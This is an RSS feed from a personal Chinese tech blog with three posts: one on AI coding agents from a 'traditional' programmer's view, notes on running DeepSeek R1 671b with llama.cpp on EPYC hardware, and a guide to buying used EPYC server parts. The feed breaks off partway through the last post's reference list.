<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
  xmlns:atom="http://www.w3.org/2005/Atom"
  xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>澪同学的博客 - 个人的技术分享</title>
    <link>http://blog.ihomura.cn/</link>
    
    <atom:link href="http://blog.ihomura.cn/rss2.xml" rel="self" type="application/rss+xml"/>
    
    <description>兴趣使然的 Blogger</description>
    <pubDate>Wed, 01 Apr 2026 10:37:33 GMT</pubDate>
    <generator>http://hexo.io/</generator>
    
    <item>
      <title>一名&quot;古法&quot;编程师，最终购入了顶配 Coding Plan...</title>
      <link>http://blog.ihomura.cn/2026/03/28/%E4%B8%80%E5%90%8D-%E5%8F%A4%E6%B3%95-%E7%BC%96%E7%A8%8B%E5%B8%88%EF%BC%8C%E6%9C%80%E7%BB%88%E8%B4%AD%E5%85%A5%E4%BA%86%E9%A1%B6%E9%85%8DCoding-Plan/</link>
      <guid>http://blog.ihomura.cn/2026/03/28/%E4%B8%80%E5%90%8D-%E5%8F%A4%E6%B3%95-%E7%BC%96%E7%A8%8B%E5%B8%88%EF%BC%8C%E6%9C%80%E7%BB%88%E8%B4%AD%E5%85%A5%E4%BA%86%E9%A1%B6%E9%85%8DCoding-Plan/</guid>
      <pubDate>Sat, 28 Mar 2026 11:50:11 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;前言&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;2025 年 7
月我在上交的时候还自豪的称自己是“古法”编程师，然而时至今日不得不承认的是
AI Agent (下文简称 AI) 发展确实日新月异，尤其是以 GPT-5 为代表的新一代长
Context 高 Reasoning 强 Agentic 的模型发布以来，AI
在写代码这块的进步有目共睹。本文想从一名“古法”编程师的角度来探讨：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;AI 在编码这块已经可以做什么？&lt;/li&gt;
&lt;li&gt;剩下的事情 AI 为什么还做不到？&lt;/li&gt;
&lt;li&gt;“古法”还有前途吗？AI 未来是什么？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;本文纯“古法”打造&lt;/strong&gt;&lt;/p&gt;</description>
      
      
      
      <content:encoded><![CDATA[<h2 id="前言">前言</h2><p>2025 年 7月我在上交的时候还自豪的称自己是“古法”编程师，然而时至今日不得不承认的是AI Agent (下文简称 AI) 发展确实日新月异，尤其是以 GPT-5 为代表的新一代长Context 高 Reasoning 强 Agentic 的模型发布以来，AI在写代码这块的进步有目共睹。本文想从一名“古法”编程师的角度来探讨：</p><ul><li>AI 在编码这块已经可以做什么？</li><li>剩下的事情 AI 为什么还做不到？</li><li>“古法”还有前途吗？AI 未来是什么？</li></ul><p><strong>本文纯“古法”打造</strong></p><span id="more"></span><h2 id="古法-的困境">“古法” 的困境</h2><p>写代码长期以来很多人觉得基本属于是脑力劳动，但实质上很多资深程序员和我有一样的感悟：当编码能力到一定地步后，大部分写代码其实都成了重复性的体力劳动。</p><p>举一个例子，假设我现在想实现一个类似 Clang/GCC 的编译器，至少符合 C89标准，并且尽量不使用现有的编译器基建设施，我的计划大抵会是[1]：</p><ul><li>阅读 C89 标准设计，设计前端</li><li>选择一种合适的 Parser，比如 LL/LALR/递归下降，想好 AST/IR之类的大概设计</li><li>先尝试支持语法子集，用足够的测试样例确保 Parser 设计的合理性</li><li>进入循环：支持更多 Feature，添加样例，同时确保没有regression，有必要的话回头改之前的设计</li><li>直到达到一个阶段性的目标，比如能编译一个最小的 C 标准库</li><li>开始写一个最简单的后端，至少能把绝大部分 AST/IR翻译成对应的指令，并且能链接出个简单的 ELF</li><li>反复优化，比如常量折叠等简单的优化，直到编译一些简单程序比如Fibonacci 不要比 Clang 慢太多</li></ul><p>但是问题是，我们可以发现在这个过程里，其实真正需要“动脑”的部分，只有最开始的理解Spec 设计 Parser还有最后最重要的编译优化是比较有意思需要动脑的，剩下的任务几乎都只能用tedious 来形容。</p><p>也就是说“古法”编程的本质问题是，重复性的体力劳动占用了编码的太多时间，大大降低了生产力，而目前AI 的出现，正是为这些重复的体力劳动带来了新的转机。</p><p>^1: 虽然我阅读过很多 LLVM源代码，但是我不得不承认我没有完整做过一套流程</p><h2 id="ai-带来的转机">AI 带来的转机</h2><h3 id="ai-能做什么">AI 能做什么？</h3><p>目前来看，我可以给出一个比较清晰的定义来描述 AI 能做的事情。</p><ul><li>定义清晰：问题的输入和输出都非常清晰。</li><li>过程明确：由输入到输出的必要过程非常详细和明确。</li><li>反馈直接：做对/做错有明确的方法可以知道。</li><li>目标确定：做到什么程度算是可交付的状态</li></ul><p>以上述写编译器为例：</p><ul><li>定义：输入是 C89 源代码，输出是 ELF 文件（至少在 Linux上是这样），这个几乎是最简单的</li><li>过程：虽然编译器的架构多年以来已经基本稳定，LLVM 和 GCC的架构和设计有很多文档可以参考，但是目前 AI还是难以在没有前置知识的条件下直接明白最优的 workflow</li><li>反馈：在编译器开发里，问题往往是很容易发现的，毕竟有标准。</li><li>目标：这就是最复杂的事情，编译器除了本身编译原理的复杂度，还有用户体验UX 的复杂度，因此一个“好用”的编译器其实相当有挑战性。</li></ul><p>恰巧最近 Claude 最近尝试用 Opus 直接 End-to-End 的 Vibe出一个编译器出来，本意是想说明 AI的进步[2]，但结果变成了大型行为艺术，出现了大量问题：</p><ul><li>硬编码大量路径，包括 GCC的头文件，解释器路径，甚至连日期宏定义也能硬编码</li><li>无法编译 Hello World，大量 feature 完全不支持</li><li>大量的语义错误</li></ul><p>结合我上面说的理论来看：</p><ul><li>定义：AI 直接分析应该几乎是靠谱的</li><li>过程：我觉得 Claude应该就是在这一步出了大的问题，他显然没有像人类一样重复的去验证然后增量式开发</li><li>反馈：这个从结果来看还是没问题的</li><li>目标：这是另一个问题，显然 Claude也不知道一个“好用”的编译器的定义，至少他没有想到不能硬编码</li></ul><p>但是如果反过来看呢？其实这些事情不是恰好和我们这些“古法”编程师互补吗？因此我想新时代下的“古法”编程师（或许应该叫做魔法师）的做法已经呼之欲出了：</p><blockquote><p><strong>只做创造性的工作，重复性的工作定义好这四点然后扔给 AI去做。</strong></p></blockquote><p>目前通过这个方式，我觉得 AI 能顶上差不多 25%个我的效率，所以我往往会让多个 AI 并行着帮我做事。而且 AI最大的好处就是任劳任怨干脏活累活。</p><p>^2: 或者是为了拉投资</p><h2 id="完全的自动化写代码科研">完全的自动化写代码/科研</h2><p>目前来看 AI的完全自动化编码，甚至是科研，我觉得有了很大的变量。整体来看，我持中立偏乐观的态度，原因有几条。</p><h3 id="软工理论的革新">软工理论的革新</h3><p>上述我讲的让 AI 工作效果变好的 4点，其实在以往软工理论里都有对应的研究，比如需求分析细化，自动测试等等，有了AI 的加持，这些事情会做的越来越 <strong>Practical</strong>。</p><p>我非常非常期待在这块有足够的突破，能把大部分常见的编码任务自动化的并且高质量的打包成我上述提到的四点，进一步解放生产力。</p><h3 id="高质量数据的涌现">高质量数据的涌现</h3><p>目前主流 AI厂商几乎或多或少，或承认或不承认的把用户对话数据拿去训练了。一个明显感觉的变化是，在GPT-4 时代，我让 AI 去写一个 Agent，即使给了很多上下文 AI也几乎很难写出来有用的代码（包括Prompt），现在一句话的事情就可以搓出来了。</p><h3 id="llm-的进步空间可能在缩小">LLM 的进步空间可能在缩小</h3><p>目前 LLM 基础 reasoning能力见效快的方式（加数据量，加质量，加算力等）几乎都被尝试过了，我有一种感觉是目前亟待一些类似Transformer 一样 ground breaking 式的研究。但不管怎么样，我对 LLM的发展非常期待。</p><h2 id="程序员会被替代吗">程序员会被替代吗？</h2><p>目前来看 AI 想完全替代程序员还有不短的一段距离，比如上述做 Planning的能力仍然需要程序员的知识积累。举个例子的话，假设完成一件事情是从 A 到B 的一张图，现在 AI很多时候能选出最短路径，但是真实世界里很多时候并不是最短路径就能解决的。然而不得不承认，随着软工相应研究的深入，这些“古法”编程师的核心能力未来可能也会被AI 学会。</p><h2 id="后记">后记</h2><p>我相信未来程序员不会被替代，但一定是会以一种新的形式存在，就像经过石器时代的人类并没有消失，只是学会了更趁手的工具提高了生产力。但是这种形式会是什么样的？开10 个窗口完全指挥 AI？还是像现在这样 AI的比重在工作流里不断提高但是最终还是依赖程序员审核？亦或者是 AI指挥人类干活[3]？具体的故事就等时间使之发芽吧。</p><p>^3: 参考文献 《心理测量者》</p>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/%E7%BB%8F%E9%AA%8C/">经验</category>
      
      <category domain="http://blog.ihomura.cn/categories/%E7%BB%8F%E9%AA%8C/AI/">AI</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/%E5%BF%83%E5%BE%97%E4%BD%93%E4%BC%9A/">心得体会</category>
      
      <category domain="http://blog.ihomura.cn/tags/AI/">AI</category>
      
      <category domain="http://blog.ihomura.cn/tags/LLM/">LLM</category>
      
      
      <comments>http://blog.ihomura.cn/2026/03/28/%E4%B8%80%E5%90%8D-%E5%8F%A4%E6%B3%95-%E7%BC%96%E7%A8%8B%E5%B8%88%EF%BC%8C%E6%9C%80%E7%BB%88%E8%B4%AD%E5%85%A5%E4%BA%86%E9%A1%B6%E9%85%8DCoding-Plan/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>DeepSeek R1 671b 满血版部署笔记</title>
      <link>http://blog.ihomura.cn/2025/02/09/DeepSeek-R1-671b-%E9%83%A8%E7%BD%B2%E7%AC%94%E8%AE%B0/</link>
      <guid>http://blog.ihomura.cn/2025/02/09/DeepSeek-R1-671b-%E9%83%A8%E7%BD%B2%E7%AC%94%E8%AE%B0/</guid>
      <pubDate>Sun, 09 Feb 2025 05:53:13 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;前言&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://huggingface.co/deepseek-ai/DeepSeek-R1&quot;&gt;DeepSeek
R1&lt;/a&gt; 是最近大火的大语言模型，主要是可以比肩 o1
的性能以及完全开源。之前一篇&lt;a
href=&quot;https://blog.ihomura.cn/2024/01/14/EPYC-%E5%B7%A5%E4%BD%9C%E7%AB%99%E9%80%89%E8%B4%AD%E5%AE%9E%E6%88%98%E4%B8%8E%E7%BB%8F%E9%AA%8C%E5%88%86%E4%BA%AB/&quot;&gt;文章&lt;/a&gt;所说，我手里有两台
1T 内存的 EPYC 机器，因此正好可以用来部署 R1。本文主要记录一下利用
llama.cpp 部署过程中的经验。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;TL;DR: 对于 llama.cpp 以及衍生的 ollama
部署方案，推理速度基本和内存带宽成线性，符合 Roofline 模型。&lt;/em&gt;&lt;/p&gt;</description>
      
      
      
      <content:encoded><![CDATA[<h2 id="前言">前言</h2><p><a href="https://huggingface.co/deepseek-ai/DeepSeek-R1">DeepSeekR1</a> 是最近大火的大语言模型，主要是可以比肩 o1的性能以及完全开源。之前一篇<ahref="https://blog.ihomura.cn/2024/01/14/EPYC-%E5%B7%A5%E4%BD%9C%E7%AB%99%E9%80%89%E8%B4%AD%E5%AE%9E%E6%88%98%E4%B8%8E%E7%BB%8F%E9%AA%8C%E5%88%86%E4%BA%AB/">文章</a>所说，我手里有两台1T 内存的 EPYC 机器，因此正好可以用来部署 R1。本文主要记录一下利用llama.cpp 部署过程中的经验。</p><p><em>TL;DR: 对于 llama.cpp 以及衍生的 ollama部署方案，推理速度基本和内存带宽成线性，符合 Roofline 模型。</em></p><span id="more"></span><h2 id="模型下载">模型下载</h2><p>llama.cpp 支持 GGUF 类型的模型，所以直接下载 <ahref="https://huggingface.co/unsloth/DeepSeek-R1-GGUF">unsloth做好的模型</a>。</p><p>注意 R1 是 FP8 训练的，也就是说其中的 Q8就是满血版，也是我们这次要用的版本。</p><h2 id="编译选项">编译选项</h2><p>如果是纯 CPU 推理，考虑到我希望有 <code>-march=native</code>来达到最大运算速度采用了本地编译：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/ggerganov/llama.cpp</span><br><span class="line"><span class="built_in">cd</span> llama.cpp</span><br><span class="line"><span class="built_in">mkdir</span> build &amp;&amp; <span class="built_in">cd</span> build</span><br><span class="line">cmake .. -DCMAKE_BUILD_TYPE=Release</span><br><span class="line">make -j install</span><br></pre></td></tr></table></figure><p>这里 llama.cpp 会帮我们加上 <code>-march=native</code>。</p><p>如果是需要 GPU 推理，编译选项改为</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cmake .. -DCMAKE_BUILD_TYPE=Release -DGGML_CUDA=ON</span><br><span class="line">make -j install</span><br></pre></td></tr></table></figure><h2 id="运行">运行</h2><p>运行比较简单，我比较喜欢 <code>llama-server</code> 的方法：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">llama-server -t 48 -m ./DeepSeek-R1-Q8_0/DeepSeek-R1.Q8_0-00001-of-00015.gguf \</span><br><span class="line">             -c 4096 --no-mmap \</span><br><span class="line">             --host 0.0.0.0 --port 9090</span><br></pre></td></tr></table></figure><ul><li><code>--no-mmap</code> 的话会直接把模型拉到内存里</li><li><code>-t 48</code> 使用 48 个线程</li><li><code>-c 4096</code> context 设置为 4k</li></ul><p>占用合计在700G左右，增大 context 会显著提高内存占用。</p><h2 id="推理速度">推理速度</h2><h3 id="内存带宽">内存带宽</h3><p>我自己的服务器上推理速度有 2.5-3.5token/s，这个数值基本上和内存带宽是绑定的，可以用 <code>mbw</code>测试</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mbw -n 128 256</span><br></pre></td></tr></table></figure><p>这个测出来的数值乘以通道数量就是最大内存带宽，我这里有大概<code>19926 * 16 = 318G/s</code>。<strong>考虑 R1 是 memorybound，基本上推理速度会和最大内存带宽成线性。</strong>比如根据<ahref="https://x.com/carrigmat/status/1884244369907278106">这里</a>的汇报，使用DDR5 和 24 通道拥有接近 <code>1T/s</code> 的带宽，因此推理速度来到了 6-8token/s，提升几乎是线性的。顺带一提，这已经比很多纯 GPU 推理还快了。</p><h3 id="cpu-加速">CPU 加速？</h3><p>上文中我只使用了 48个核心，一个想法是更多的核心会不会更快？可惜的是，R1 是完完全全的 memorybound，我尝试过 48，64，96，128四种配置，推理速度的偏差基本都在实验误差范围内，因此选择 48是完全足够了。</p><h3 id="gpu-加速">GPU 加速？</h3><p>一个非常直观的想法是利用 GPU 加速，不过在实际操作前仍然要强调 R1是完全的 memory bound，也就是说如果不能把模型完全加载进入 VRAM的话至少还要把数据多来回拷贝两次。虽然理论上来说利用了闲置的 PCIE带宽，但是会抢 CPU 的内存带宽，所以未必能加速。下面实验基于一台双路 epyc7763 + 4xA100 的服务器测试 llama.cpp 的 GPU offload 效果。</p><ul><li>纯CPU推理：1.8 token/s (~700G RAM)</li></ul><p>这里更加印证了之前说的内存带宽问题，因为在多路 EPYC 上存在非常严重的NUMA问题（在2代上更加严重），因此他的等效内存带宽会很低。所以即使这台服务器的内存带宽有我自己服务器的2倍，推理速度直接打了对折。</p><ul><li>CPU + 8 layer GPU：3.0 token/s (~600G RAM + ~110G VRAM)</li></ul><p>推理速度获得了近一倍的提升，根据观察推理过程中 CPU/GPU的变化，可以看到加速的来源主要是 A100 运算速度远快于 CPU，但是最后 textgeneration 的过程中 A100是完全闲着的，所以整体上仍然受制于内存带宽。</p><ul><li>CPU + 16 layer GPU：2.4 token/s (~510G RAM + ~206G VRAM)</li></ul><p>随着把更多的 layer 放到 GPU上，推理速度反而下降了。不难猜测是更多的数据交换浪费了CPU的内存带宽所导致。</p><p>总的来说 GPU 应该是可以加速 R1 的推理速度的，但是：</p><ul><li>推理速度大部分还是由内存带宽决定的</li><li>不是越多计算放到 GPU 越好，计算性能看起来也并不重要</li></ul><p>因为 R1 是 MoE模型，也就是说每次不是全量权重参与计算，我猜测会有一个比较甜点的 GPUVRAM 大小，可能接近 90G 能达到最高的加速效果。</p><h2 id="总结">总结</h2><p>对于 llama.cpp 这种 CPU + GPU 的方案，内存带宽越高，R1的推理速度会越快。</p><h2 id="参考">参考</h2><ul><li>https://www.anandtech.com/show/16529/amd-epyc-milan-review/4</li><li>https://x.com/carrigmat/status/1884244369907278106</li><li>https://snowkylin.github.io/blogs/a-note-on-deepseek-r1.html</li><li>https://digitalspaceport.com/how-to-run-deepseek-r1-671b-fully-locally-on-2000-epyc-rig/</li></ul>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/">环境搭建</category>
      
      <category domain="http://blog.ihomura.cn/categories/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/DeepSeek/">DeepSeek</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/DeepSeek/">DeepSeek</category>
      
      <category domain="http://blog.ihomura.cn/tags/671b/">671b</category>
      
      <category domain="http://blog.ihomura.cn/tags/EPYC/">EPYC</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E7%BB%8F%E9%AA%8C%E5%88%86%E4%BA%AB/">经验分享</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E6%9C%8D%E5%8A%A1%E5%99%A8/">服务器</category>
      
      <category domain="http://blog.ihomura.cn/tags/CPU/">CPU</category>
      
      <category domain="http://blog.ihomura.cn/tags/%E5%86%85%E5%AD%98/">内存</category>
      
      
      <comments>http://blog.ihomura.cn/2025/02/09/DeepSeek-R1-671b-%E9%83%A8%E7%BD%B2%E7%AC%94%E8%AE%B0/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>EPYC 服务器选购实战与经验分享</title>
      <link>http://blog.ihomura.cn/2024/01/14/EPYC-%E5%B7%A5%E4%BD%9C%E7%AB%99%E9%80%89%E8%B4%AD%E5%AE%9E%E6%88%98%E4%B8%8E%E7%BB%8F%E9%AA%8C%E5%88%86%E4%BA%AB/</link>
      <guid>http://blog.ihomura.cn/2024/01/14/EPYC-%E5%B7%A5%E4%BD%9C%E7%AB%99%E9%80%89%E8%B4%AD%E5%AE%9E%E6%88%98%E4%B8%8E%E7%BB%8F%E9%AA%8C%E5%88%86%E4%BA%AB/</guid>
      <pubDate>Sat, 13 Jan 2024 16:04:39 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;前言&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;自从开始读 Ph.D.
之后，对算力的要求逐步增长，因此一直想购入强劲的服务器用于科研&lt;del&gt;玩装机&lt;/del&gt;，感谢近几年的
AMD 强势，我居然只用了大概 4 万元就拿下了两台 EPYC 7B13 64C128T + 1T
内存的工作站，这篇文章就来简单分享一下整个实战过程和一些经验。&lt;/p&gt;</description>
      
      
      
      <content:encoded><![CDATA[<h2 id="前言">前言</h2><p>自从开始读 Ph.D.之后，对算力的要求逐步增长，因此一直想购入强劲的服务器用于科研<del>玩装机</del>，感谢近几年的AMD 强势，我居然只用了大概 4 万元就拿下了两台 EPYC 7B13 64C128T + 1T内存的工作站，这篇文章就来简单分享一下整个实战过程和一些经验。</p><span id="more"></span><h2 id="选购之前的功课">选购之前的功课</h2><h3 id="预算和渠道">预算和渠道</h3><p>购买工作站大概有三条渠道</p><ul><li>向正规服务器提供商购买整机：拥有完整的保修（甚至上门哦！），硬件兼容性还有软件问题基本无需操心，但是费用是最贵的，典型的提供商包括戴尔，联想等。由于此类渠道一般只有toB，个人消费者很难接触到。</li><li>在零售渠道购买含保修的散件：一般服务器硬件尤其是 CPU是不对消费级市场开放的，然而 AMD 的 HEDT平台，也就是线程撕裂者打破了僵局，最新一代线程撕裂者比如 <ahref="https://www.amd.com/en/processors/ryzen-threadripper-pro">7980X</a>提供了<ahref="https://www.bilibili.com/video/BV1hz4y1c7Ep/">相当可观的算力</a>。一般可选的平台包括京东和亚马逊等，可以提供完整的保修，但是性价比相当感人。</li><li>在淘宝购买店保的二手散件（或者整机）：由于 CPU一般不会损坏，因此有大量淘汰下来的服务器配件流通于淘宝上，一般这些散件基本接近成本价，相对应的也只有比较少的技术支持和保修。</li></ul><p>举个例子来说，目前京东在售的 64C128T 的线程撕裂者 5995WX 价格为 49599元，在淘宝一颗 64C128T 的 7763 大概只需要 10000元左右，然而他们的多核性能相差大概在 10%以内，由此可见淘宝散件的价格优势。</p><p>考虑到我贫瘠的预算，因此我只能选择在淘宝上购买散件。</p><h3 id="计算任务">计算任务</h3><p>确定了购买渠道和预算后，更重要的事情就是确定自己预期的工作负载，因为不同的负载对整个系统的设计完全不一样。以我自己为例，我不需要任何GPU算力，因此我可以考虑更小一些的机箱，也不用担心显卡挡住内存插槽等，但是相应的我需要大量的核心数量和内存数量，因此我需要考虑内存通道数量和频率等。具体的事项会在后文中说明。</p><p>除了是否需要 GPU，还有就是要确认自己的程序是否存在以下瓶颈：</p><ul><li>并行度：决定了是否需要更多的核心</li><li>内存速度：决定了是否需要高频率低延迟内存</li><li>计算速度：决定了是否需要单核心性能</li></ul><h3 id="淘宝店铺选择">淘宝店铺选择</h3><p>淘宝有非常多的店铺提供二手服务器散件，本文不作任何推荐，但是我个人的标准是：</p><ul><li>回复足够及时，一般首次咨询半个小时内没有回复我就会直接 pass不再考虑</li><li>店龄、店铺等级、店铺资质等</li><li>接受发货前测试</li><li>没有明显的差评</li></ul><p>这一点每个人都可以有不同的标准，个人建议是大部分配件在一家买齐测试好再发货节省来回的运费和时间，我选择的店铺甚至很贴心的提供了远程桌面随意测试，大大节省了中间的时间（不过仍然出现了意外，下文会提到）。</p><h2 id="配件选择">配件选择</h2><h3 id="cpu">CPU</h3><p>CPU 几乎是最重要的配件，他决定了可以选择的主板还有 PCIE通道数量和可选的内存。</p><p>首先简单介绍一下 EPYC 的命名规则，以 7503 为例，其中的 3 代表第三代EPYC，5 代表了核心数量，0 代表了单核心的性能。但是有一些 EPYC 的 CPU第二位是字母，这代表 OEM 定制版本，一般是特定公开版本的 EPYC型号的特挑版本。</p><p>我的需求是越多核心越好，单核性能并不是太需要，考虑到性价比最后选择了EPYC 7B13，这是阿里和 Google 的定制版，但是 Google 版本是 60 核心 60线程，阿里版是 64 核心 128 线程，基本确认是 EPYC 7763的马甲但是多核性能要差一些，主要体现在频率上。</p><p>另外需要留意的是，EPYC 双路存在严重的 CCD延迟问题。和消费级不一样的是，他是第二个 socket 上全部都慢的离谱。</p><h3 id="主板">主板</h3><p>下一步就是选择主板，对于我来说可以买到的只有</p><ul><li>技嘉 MZ32-AR0</li><li>技嘉 MZ72-HB0 （双路）</li><li>超微 H12SSL-i</li><li>超微 H12DSI-NT6 （双路）</li><li>永擎 ROME2D16-2L （双路）</li></ul><p>其中超微 H12DSI 支持双路 CPU，本来我是打算选择这个，因为可以直接 256T+ 2T，但是很快我注意到了双路主板在塔式机箱内上两个 280W CPU 时存在大量的VRM过热死机的汇报。因此我只能把原来的单台计划变为两台单路减少散热压力，然而超微的主板E-ATX 孔位和标准孔位不兼容，需要自己改机箱，所以最后选择的是技嘉MZ32-AR0 （甚至还有全新存货）。</p><p>一旦选择好主板，就可以前往相应的页面插具体的参数，包括并不限于：</p><ul><li>内存通道数量</li><li>内存最大频率</li><li>PCIE 数量</li><li>M2 接口数量，SATA 数量</li></ul><h3 id="内存">内存</h3><p>首先内存有几大类：</p><ul><li>UDIMM：无缓冲内存，常见于消费级，由于没有缓冲，对信号完整度要求高因此容量相对较小频率较高。目前市面上最大的一般是32G。</li><li>RDIMM：有寄存器的内存，简单来说就是等信号全部到了再去读写，对信号完整度要求稍微低一些，因此可以支持更大容量，但是延迟和发热会有显著增高。目前市面上我见到最大的有256G 的内存条。</li><li>LRDIMM：进一步增加了缓冲来提升单条容量。</li></ul><p>目前三代的 EPYC 只能插 DDR4，而且根据主板的说明书当插满 RDIMM的时候最高频率仅支持到 2933MHz，因此可以节省一点买更高频率内存的钱。总的来说，高频率、高容量和低延迟几乎是不可兼得的事情。</p><p>这里还有一条需要注意的就是 ECC，目前市面上所有 RDIMM 和 LRDIMM内存都是有 ECC 纠错的，但是这不意味着出现 ECC错误是正常的！我在收到货测试时才发现有几根内存条会固定出现 ECC错误，虽然不影响数据的正确性，但是一般这意味着内存颗粒已经出现了问题，应该尽快找商家更换。</p><p>此外由于 RDIMM 多了一个控制芯片，高温时也会出现 ECC错误，因此需要查阅相应的内存条文档确认工作温度。</p><p>为了测试内存条的稳定性，推荐烤机软件为：</p><ul><li>AIDA64 （注意烤机时关闭页面文件！不然系统会卡死）</li><li>prime95 （Linux下有等价实现）</li></ul><p>这里反而不推荐 memtest86+，在我测试的时候他甚至没有触发 ECC错误，而且耗时极长，难怪 archwiki 把他归类为压力不大的测试项目。</p><h3 id="电源">电源</h3><p>电源几乎没有什么好说的，我选择的是 LEADEX 的HG850W，趁着活动的时候低价入了两个。我个人计算习惯是：</p><ul><li>CPU：TDP 瓦数，这里是 280W</li><li>内存：10W 每根</li><li>机械硬盘：25W 每个</li><li>SSD：10W 每个</li><li>主板：50W</li></ul><p>基本上我都往多了算， 850W 是绰绰有余的，一般留个 10%左右的余量就可以。唯一比较坑的就是，技嘉这个主板的主板供电居然是在正上方，电源的主板线很容易够不到，完全没法走背线。</p><h3 id="存储">存储</h3><p>存储这一块我遇到了三星 SSD 和部分 SATA Controller 的<ahref="https://www.phoronix.com/news/Samsung-860-870-More-Quirks">兼容性问题</a>以及国产 SSD 普遍采用的 MAP1602 主控的 Linux <ahref="https://zhuanlan.zhihu.com/p/644984347">兼容性问题</a>。目前两个问题在最新的Ubuntu 2204 中应该都得到了修复，反而是 Ubuntu 2304 因为不是 LTS 有一些fixes 没有 backport。</p><p>另外值得注意的是技嘉这个主板的 m2 只有 pcie3.0。</p><h3 id="机箱和散热">机箱和散热</h3><p>以往装机，这两项并不太重要，但是上面很多地方都提到了温度对系统稳定性的影响，因此在选购工作站的时候务必要对散热上心。</p><p>首先是机箱，我在选购的时候出于便携和空间限制选择了塔式，如果有机房的话可以选择正常服务器尺寸获得更好的散热，以下经验都是基于塔式机箱展开。</p><p>机箱型号我选择的是追风者614pc，看中的是存储扩展性<del>和自带俩风扇</del>。其实机箱型号不重要，重要的是机箱风道。具体来说，我在开放式环境仅安装CPU 散热器时，内存条温度可以达到97度（标准工作温度上限为95度）触发 ECC错误，但是只要稍微加一个平行于内存条风向的风扇，温度瞬间降低到60度左右，这个效果对于机箱内大部分需要散热的配件都是一样的。</p><p>另外和平时的装机不同，CPU 的散热一般是不需要太多担心的，我购买的是Coolserver P42 也就是金钱豹散热器压住 CPU基本上没有任何压力。相反，需要注意的是 VRM也就是供电模块的散热，比如我购买的 CPU 有整整 280W 的 TDP，而 CPU电压一般才 1.2V 左右，也就是说通过 VRM 的电流非常大会迅速产热。一般来说VRM 100 度时变会主动降低供电来减少发热，在 AMD的定义里这个属于硬件降频无法控制，当 VRM 温度超过 110左右时基本会直接报警关机。因此一个良好的机箱风道至关重要，这里推荐在 B站搜索相关视频了解，比如<ahref="https://www.bilibili.com/video/BV1Mi4y1M7Mz">硬件茶谈这一篇</a>。</p><p>最后我选择的散热方式是一共 7 个风扇，前面板 3 个进气，后面版 1个出气，上面板 2 个出气，下面板 1个进气，在极限烤机状态下，整个系统可以稳定运转，美中不足的就是仍然会有少部分时间触发VRM过热降频，目前根据我了解的信息，只能定制配件散热，所以留给之后的自己吧。</p><h3 id="网卡">网卡</h3><p>技嘉这个主板有 OCP 接口，正好之前有海外过来的万兆网卡 CX341a 是 OCP接口只要 15 块一张，配合 DAC 线完美的实现了两台机器间的 10 gb 网络。</p><h2 id="总结">总结</h2><p>这次购买服务器从有想法到最终实操一共花了一个半月，要感谢的就是另一半的大力支持和TUNA群友们的耐心，学习到了很多<del>也玩的很开心</del>，希望这两台服务器能在未来的时间里发光发热吧。</p><p><del>数框框！</del></p><img src="/2024/01/14/EPYC-%E5%B7%A5%E4%BD%9C%E7%AB%99%E9%80%89%E8%B4%AD%E5%AE%9E%E6%88%98%E4%B8%8E%E7%BB%8F%E9%AA%8C%E5%88%86%E4%BA%AB/htop.jpg" class="" title="htop"><h2 id="参考">参考</h2><ul><li><ahref="https://www.amd.com/en/processors/ryzen-threadripper-pro">AMDRyzen™ Threadripper™ Processors</a></li><li><ahref="https://www.bilibili.com/video/BV1hz4y1c7Ep/">最强桌面级处理器，有多快？AMD线程撕裂者 7980X/7970X简测</a></li><li><ahref="https://twitter.com/qbitium/status/1562717811620712448">7B13</a></li><li><ahref="https://forum.level1techs.com/t/i-built-a-dual-epyc-7773x-server-its-fast-and-now-in-v3-0-updated-2-with-pics/194909?page=5">Ibuilt a dual-Epyc 7773X server ! It’s FAST, and now in V3.0 (updated 2,with pics)</a></li><li><a href="http://bbs.keinsci.com/thread-33029-1-1.html">280WEPYC双路服务器主板选超微H12DSI还是技嘉MZ72-HB0</a></li><li><ahref="https://forums.servethehome.com/index.php?threads/overheating-problems-with-2x-epyc-7742-in-define-7-xl-1tb-2tb-ram.30142/">Overheatingproblems with 2x Epyc 7742 in Define 7 XL 1TB/2TB RAM</a></li><li><ahref="https://www.phoronix.com/news/Samsung-860-870-More-Quirks">Samsung860/870 SSDs Continue Causing Problems For Linux Users</a></li><li><ahref="https://zhuanlan.zhihu.com/p/644984347">国产SSD主控联芸MAP1602，Linux兼容性解决方案</a></li><li><ahref="https://bugs.launchpad.net/ubuntu/+source/linux-oem-6.5/+bug/2041495">MAP1602Ubuntu Backport</a></li><li><ahref="https://zhuanlan.zhihu.com/p/91835185">傲腾内存预热：什么是RDIMM和LRDIMM？</a></li><li><a 